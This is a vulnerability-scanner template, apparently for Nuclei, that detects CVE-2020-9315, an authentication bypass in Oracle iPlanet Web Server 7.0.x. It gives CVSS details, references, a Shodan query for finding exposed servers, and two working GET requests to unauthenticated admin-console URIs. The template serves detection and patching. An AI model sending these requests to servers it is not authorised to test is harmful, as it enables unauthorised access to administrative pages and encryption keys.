id: CVE-2020-9315

info:
  name: Oracle iPlanet Web Server 7.0.x - Authentication Bypass
  author: dhiyaneshDk
  severity: high
  description: |
    Oracle iPlanet Web Server 7.0.x has incorrect access control for admingui/version URIs in the Administration console, as demonstrated by unauthenticated read access to encryption keys. NOTE a related support policy can be found in the www.oracle.com references attached to this CVE.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Apply the necessary patches or updates provided by Oracle to mitigate this vulnerability.
  reference:
    - https://www.cvebase.com/cve/2020/9315
    - https://www.oracle.com/support/lifetime-support/
    - https://www.oracle.com/us/assets/lifetime-support-middleware-069163.pdf
    - https://wwws.nightwatchcybersecurity.com/2020/05/10/two-vulnerabilities-in-oracles-iplanet-web-server-cve-2020-9315-and-cve-2020-9314/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9315
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9315
    cwe-id: CWE-306
    epss-score: 0.8793
    epss-percentile: 0.99491
    cpe: cpe:2.3:a:oracle:iplanet_web_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: iplanet_web_server
    shodan-query: cpe:"cpe:2.3:a:oracle:iplanet_web_server"
  tags: cve,cve2020,oracle,auth-bypass,iplanet,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/admingui/version/serverTasksGeneral?serverTasksGeneral.GeneralWebserverTabs.TabHref=2"
      - "{{BaseURL}}/admingui/version/serverConfigurationsGeneral?serverConfigurationsGeneral.GeneralWebserverTabs.TabHref=4"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Admin Console"

      - type: word
        words:
          - "serverConfigurationsGeneral"
          - "serverCertificatesGeneral"
        condition: or

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210088f4914acd339c466d59786276b57d1dd86977e7a9b12a7f06e72a039e4c2d08022100b55d1d4693c67bef355ead8541210c3d0c55fdd929f165b8b00b5457b6393bae:922c64590222798bb761d5b6d8e72950